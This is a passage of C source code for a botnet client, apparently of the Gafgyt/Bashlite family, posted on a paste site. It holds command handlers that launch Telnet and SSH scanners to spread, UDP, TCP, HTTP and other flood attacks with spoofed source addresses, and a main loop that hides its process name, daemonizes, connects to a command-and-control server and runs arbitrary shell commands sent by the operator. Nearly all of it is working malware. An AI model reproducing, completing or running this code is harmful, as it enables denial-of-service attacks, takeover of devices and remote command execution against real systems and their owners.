  1981.         if(!strcmp(argv[0], "SCANNER"))
  1982.         {
  1983.         if(argc != 2)
  1984.         {
  1985.             sockprintf(mainCommSock, "SCANNER SSH/TELNET ON | SSH/TELNET OFF");
  1986.             return;
  1987.         }
  1988.  
  1989.         if(!strcmp(argv[1], "OFF"))
  1990.         {
  1991.             if(scanPid == 0) return;
  1992.             sockprintf(mainCommSock, "TELNET SCANNER STOPPED\n");
  1993.             kill(scanPid, 9);
  1994.             scanPid = 0;
  1995.        
  1996.  
  1997.         if(!strcmp(argv[1], "TELNET ON"))
  1998.         {
  1999.             if(scanPid != 0) return;
  2000.             uint32_t parent;
  2001.             parent = fork();
  2002.             sockprintf(mainCommSock, "TELNET SCANNER EXECUTED\n");
  2003.             if (parent > 0) { scanPid = parent; return;}
  2004.             else if(parent == -1) return;
  2005.  
  2006.             TelnetScanner(1);
  2007.             _exit(0);
  2008.         }
  2009.        
  2010.         if(!strcmp(argv[1], "SSH ON"))
  2011.         {
  2012.             if(scanPid != 0) return;
  2013.             uint32_t parent;
  2014.             parent = fork();
  2015.             sockprintf(mainCommSock, "SSH SCANNER EXECUTED\n");
  2016.             if (parent > 0) { scanPid = parent; return;}
  2017.             else if(parent == -1) return;
  2018.  
  2019.             SSHScanner(1);
  2020.             _exit(0);
  2021.         }}}
  2022.  
  2023.         if(!strcmp(argv[0], "UDP"))
  2024.         {
  2025.                 if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  2026.                 {
  2027.                         //sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <packet size (1 to 65500)> (time poll interval, default 10)");
  2028.                         return;
  2029.                 }
  2030.  
  2031.                 unsigned char *ip = argv[1];
  2032.                 int port = atoi(argv[2]);
  2033.                 int time = atoi(argv[3]);
  2034.                 int spoofed = atoi(argv[4]);
  2035.                 int packetsize = atoi(argv[5]);
  2036.                 int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  2037.  
  2038.                 if(strstr(ip, ",") != NULL)
  2039.                 {
  2040.                         unsigned char *hi = strtok(ip, ",");
  2041.                         while(hi != NULL)
  2042.                         {
  2043.                                 if(!listFork())
  2044.                                 {
  2045.                                         sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  2046.                                         _exit(0);
  2047.                                 }
  2048.                                 hi = strtok(NULL, ",");
  2049.                         }
  2050.                 } else {
  2051.                         if (listFork()) { return; }
  2052.  
  2053.                         sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  2054.                         _exit(0);
  2055.                 }
  2056.         }
  2057.  
  2058.         if(!strcmp(argv[0], "TCP"))
  2059.         {
  2060.                 if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  2061.                 {
  2062.                         //sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
  2063.                         return;
  2064.                 }
  2065.  
  2066.                 unsigned char *ip = argv[1];
  2067.                 int port = atoi(argv[2]);
  2068.                 int time = atoi(argv[3]);
  2069.                 int spoofed = atoi(argv[4]);
  2070.                 unsigned char *flags = argv[5];
  2071.  
  2072.                 int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  2073.                 int psize = argc > 6 ? atoi(argv[6]) : 0;
  2074.  
  2075.                 if(strstr(ip, ",") != NULL)
  2076.                 {
  2077.                         unsigned char *hi = strtok(ip, ",");
  2078.                         while(hi != NULL)
  2079.                         {
  2080.                                 if(!listFork())
  2081.                                 {
  2082.                                         sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  2083.                                         _exit(0);
  2084.                                 }
  2085.                                 hi = strtok(NULL, ",");
  2086.                         }
  2087.                 } else  {
  2088.                         if (listFork()) { return; }
  2089.  
  2090.                         sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  2091.                         _exit(0);
  2092.                         }
  2093.         }
  2094.         if(!strcmp(argv[0], "HTTP"))
  2095.         {
  2096.         if(argc < 3 || atoi(argv[2]) < 1)
  2097.         {
  2098.             return;
  2099.         }
  2100.  
  2101.         unsigned char *ip = argv[1];
  2102.         int time = atoi(argv[2]);
  2103.  
  2104.         if(strstr(ip, ",") != NULL)
  2105.         {
  2106.             unsigned char *hi = strtok(ip, ",");
  2107.             while(hi != NULL)
  2108.             {
  2109.                 if(!listFork())
  2110.                 {
  2111.                     int i = 0;
  2112.                     while(i < 10){
  2113.                         sendHTTP(ip, time);
  2114.                         i++;
  2115.                     }
  2116.                     close(mainCommSock);
  2117.                     _exit(0);
  2118.                 }
  2119.                 hi = strtok(NULL, ",");
  2120.             }
  2121.         } else  {
  2122.             if (listFork()) { return; }
  2123.             int i = 0;
  2124.             while(i < 10){
  2125.                 sendHTTP(ip, time);
  2126.                 i++;
  2127.             }
  2128.             close(mainCommSock);
  2129.  
  2130.             _exit(0);
  2131.                 }
  2132.         }
  2133.         if(!strcmp(argv[0], "CNC"))
  2134.         {
  2135.                 if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2136.                 {
  2137.                        
  2138.                         return;
  2139.                 }
  2140.  
  2141.                 unsigned char *ip = argv[1];
  2142.                 int port = atoi(argv[2]);
  2143.                 int time = atoi(argv[3]);
  2144.  
  2145.                 if(strstr(ip, ",") != NULL)
  2146.                 {
  2147.                         unsigned char *hi = strtok(ip, ",");
  2148.                         while(hi != NULL)
  2149.                         {
  2150.                                 if(!listFork())
  2151.                                 {
  2152.                                         sendCNC(hi, port, time);
  2153.                                         close(mainCommSock);
  2154.                                         _exit(0);
  2155.                                 }
  2156.                                 hi = strtok(NULL, ",");
  2157.                         }
  2158.                 } else {
  2159.                         if (listFork()) { return; }
  2160.  
  2161.                         sendCNC(ip, port, time);
  2162.                         _exit(0);
  2163.                 }
  2164.         }
  2165.        
  2166.         if(!strcmp(argv[0], "STD"))
  2167.         {
  2168.             if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2169.             {
  2170.                        
  2171.                         return;
  2172.             }
  2173.            
  2174.             unsigned char *ip = argv[1];
  2175.             int port = atoi(argv[2]);
  2176.             int time = atoi(argv[3]);
  2177.            
  2178.             if(strstr(ip, ",") != NULL)
  2179.                 {
  2180.                         unsigned char *hi = strtok(ip, ",");
  2181.                         while(hi != NULL)
  2182.                         {
  2183.                                 if(!listFork())
  2184.                                 {
  2185.                                         sendSTD(hi, port, time);
  2186.                                         _exit(0);
  2187.                                 }
  2188.                                 hi = strtok(NULL, ",");
  2189.                         }
  2190.                 } else {
  2191.                         if (listFork()) { return; }
  2192.  
  2193.                         sendSTD(ip, port, time);
  2194.                         _exit(0);
  2195.                 }
  2196.            
  2197.         }
  2198.  
  2199.         if(!strcmp(argv[0], "KILLATTK"))
  2200.         {
  2201.                 int killed = 0;
  2202.                 unsigned long i;
  2203.                 for (i = 0; i < numpids; i++) {
  2204.                         if (pids[i] != 0 && pids[i] != getpid()) {
  2205.                                 kill(pids[i], 9);
  2206.                                 killed++;
  2207.                         }
  2208.                 }
  2209.  
  2210.                 if(killed > 0)
  2211.                 {
  2212.                         //sockprintf(mainCommSock, "Killed %d.", killed);
  2213.                 } else {
  2214.                         //sockprintf(mainCommSock, "None Killed.");
  2215.                 }
  2216.         }
  2217.  
  2218.         if(!strcmp(argv[0], "LOLNOGTFO"))
  2219.         {
  2220.                 exit(0);
  2221.         }
  2222. }
  2223.  
  2224. int initConnection()
  2225. {
  2226.         unsigned char server[4096];
  2227.         memset(server, 0, 4096);
  2228.         if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }
  2229.         if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  2230.         else currentServer++;
  2231.  
  2232.         strcpy(server, commServer[currentServer]);
  2233.         int port = 443;
  2234.         if(strchr(server, ':') != NULL)
  2235.         {
  2236.                 port = atoi(strchr(server, ':') + 1);
  2237.                 *((unsigned char *)(strchr(server, ':'))) = 0x0;
  2238.         }
  2239.  
  2240.         mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  2241.  
  2242.         if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  2243.  
  2244.         return 0;
  2245. }
  2246.  
  2247. int getOurIP()
  2248. {
  2249.         int sock = socket(AF_INET, SOCK_DGRAM, 0);
  2250.         if(sock == -1) return 0;
  2251.  
  2252.         struct sockaddr_in serv;
  2253.         memset(&serv, 0, sizeof(serv));
  2254.         serv.sin_family = AF_INET;
  2255.         serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  2256.         serv.sin_port = htons(53);
  2257.  
  2258.         int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  2259.         if(err == -1) return 0;
  2260.  
  2261.         struct sockaddr_in name;
  2262.         socklen_t namelen = sizeof(name);
  2263.         err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  2264.         if(err == -1) return 0;
  2265.  
  2266.         ourIP.s_addr = name.sin_addr.s_addr;
  2267.  
  2268.         int cmdline = open("/proc/net/route", O_RDONLY);
  2269.         char linebuf[4096];
  2270.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  2271.         {
  2272.                 if(strstr(linebuf, "\t00000000\t") != NULL)
  2273.                 {
  2274.                         unsigned char *pos = linebuf;
  2275.                         while(*pos != '\t') pos++;
  2276.                         *pos = 0;
  2277.                         break;
  2278.                 }
  2279.                 memset(linebuf, 0, 4096);
  2280.         }
  2281.         close(cmdline);
  2282.  
  2283.         if(*linebuf)
  2284.         {
  2285.                 int i;
  2286.                 struct ifreq ifr;
  2287.                 strcpy(ifr.ifr_name, linebuf);
  2288.                 ioctl(sock, SIOCGIFHWADDR, &ifr);
  2289.                 for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  2290.         }
  2291.  
  2292.         close(sock);
  2293. }
  2294.  
  2295. char *getBuild()
  2296. {
  2297.     #ifdef MIPS_BUILD
  2298.     return "MIPS";
  2299.     #elif MIPSEL_BUILD
  2300.     return "MIPSEL";
  2301.     #elif X86_BUILD
  2302.     return "X86";
  2303.     #elif ARM_BUILD
  2304.     return "ARM";
  2305.     #elif PPC_BUILD
  2306.     return "POWERPC";
  2307.     #else
  2308.     return "DARKAI";
  2309.     #endif
  2310. }
  2311.  
  2312. int main(int argc, unsigned char *argv[])
  2313. {
  2314.         char *mynameis = "";
  2315.         if(SERVER_LIST_SIZE <= 0) return 0;
  2316.         printf("BUILD %s\n", getBuild());
  2317.         strncpy(argv[0],"",strlen(argv[0]));
  2318.         argv[0] = "";
  2319.         prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  2320.         srand(time(NULL) ^ getpid());
  2321.         init_rand(time(NULL) ^ getpid());
  2322.         pid_t pid1;
  2323.         pid_t pid2;
  2324.         int status;
  2325.  
  2326.         getOurIP();
  2327.  
  2328.         if (pid1 = fork()) {
  2329.                         waitpid(pid1, &status, 0);
  2330.                         exit(0);
  2331.         } else if (!pid1) {
  2332.             if (pid2 = fork()) {
  2333.                 exit(0);
  2334.             } else if (!pid2) {
  2335.             } else {
  2336.                 zprintf("fork failed\n");
  2337.             }
  2338.         } else {
  2339.             zprintf("fork failed\n");
  2340.         }
  2341.  
  2342.         setsid();
  2343.         chdir("/");
  2344.  
  2345.         signal(SIGPIPE, SIG_IGN);
  2346.  
  2347.         while(1)
  2348.         {
  2349.                 if(initConnection()) { sleep(5); continue; }
  2350.  
  2351.                 sockprintf(mainCommSock, "BUILD %s", getBuild());
  2352.  
  2353.                 char commBuf[4096];
  2354.                 int got = 0;
  2355.                 int i = 0;
  2356.                 while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  2357.                 {
  2358.                         for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  2359.                                 unsigned int *newpids, on;
  2360.                                 for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  2361.                                 pids[on - 1] = 0;
  2362.                                 numpids--;
  2363.                                 newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  2364.                                 for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  2365.                                 free(pids);
  2366.                                 pids = newpids;
  2367.                         }
  2368.  
  2369.                         commBuf[got] = 0x00;
  2370.  
  2371.                         trim(commBuf);
  2372.  
  2373.                         if(strstr(commBuf, "PING") == commBuf)
  2374.                         {
  2375.                                 sockprintf(mainCommSock, "PONG");
  2376.                                 continue;
  2377.                         }
  2378.  
  2379.                         if(strstr(commBuf, "DUP") == commBuf) exit(0);
  2380.  
  2381.                         unsigned char *message = commBuf;
  2382.  
  2383.                         if(*message == '!')
  2384.                         {
  2385.                                 unsigned char *nickMask = message + 1;
  2386.                                 while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  2387.                                 if(*nickMask == 0x00) continue;
  2388.                                 *(nickMask) = 0x00;
  2389.                                 nickMask = message + 1;
  2390.  
  2391.                                 message = message + strlen(nickMask) + 2;
  2392.                                 while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  2393.  
  2394.                                 unsigned char *command = message;
  2395.                                 while(*message != ' ' && *message != 0x00) message++;
  2396.                                 *message = 0x00;
  2397.                                 message++;
  2398.  
  2399.                                 unsigned char *tmpcommand = command;
  2400.                                 while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  2401.  
  2402.                                 if(strcmp(command, "SH") == 0)
  2403.                                 {
  2404.                                         unsigned char buf[1024];
  2405.                                         int command;
  2406.                                         if (listFork()) continue;
  2407.                                         memset(buf, 0, 1024);
  2408.                                         szprintf(buf, "%s 2>&1", message);
  2409.                                         command = fdpopen(buf, "r");
  2410.                                         while(fdgets(buf, 1024, command) != NULL)
  2411.                                         {
  2412.                                                 trim(buf);
  2413. //                                                sockprintf(mainCommSock, "%s", buf);
  2414.                                                 memset(buf, 0, 1024);
  2415.                                                 sleep(1);
  2416.                                         }
  2417.                                         fdpclose(command);
  2418.                                         exit(0);
  2419.                                 }
  2420.  
  2421.                                 unsigned char *params[10];
  2422.                                 int paramsCount = 1;
  2423.                                 unsigned char *pch = strtok(message, " ");
  2424.                                 params[0] = command;
  2425.  
  2426.                                 while(pch)
  2427.                                 {
  2428.                                         if(*pch != '\n')
  2429.                                         {
  2430.                                                 params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  2431.                                                 memset(params[paramsCount], 0, strlen(pch) + 1);
  2432.                                                 strcpy(params[paramsCount], pch);
  2433.                                                 paramsCount++;
  2434.                                         }
  2435.                                         pch = strtok(NULL, " ");
  2436.                                 }
  2437.  
  2438.                                 processCmd(paramsCount, params);
  2439.  
  2440.                                 if(paramsCount > 1)
  2441.                                 {
  2442.                                         int q = 1;
  2443.                                         for(q = 1; q < paramsCount; q++)
  2444.                                         {
  2445.                                                 free(params[q]);
  2446.                                         }
  2447.                                 }
  2448.                         }
  2449.                 }
  2450.         }
  2451.  
  2452.         return 0;
  2453. }
Advertisement
Add Comment
Please, Sign In to add comment